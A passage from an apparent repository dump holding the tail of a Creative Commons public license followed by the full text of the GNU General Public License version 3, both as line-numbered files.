provided it is cured within 30 days of Your discovery of the violation; or 90 | upon express reinstatement by the Licensor. 91 | For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License. 92 | For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License. 93 | Sections 1, 5, 6, 7, and 8 survive termination of this Public License. 94 | Section 7 – Other Terms and Conditions. 95 | 96 | The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. 97 | Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. 98 | Section 8 – Interpretation. 99 | 100 | For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. 101 | To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions. 102 | No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor. 103 | Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority. 104 | Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” The text of the Creative Commons public licenses is dedicated to the public domain under the CC0 Public Domain Dedication. Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. 105 | 106 | Creative Commons may be contacted at creativecommons.org. 107 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------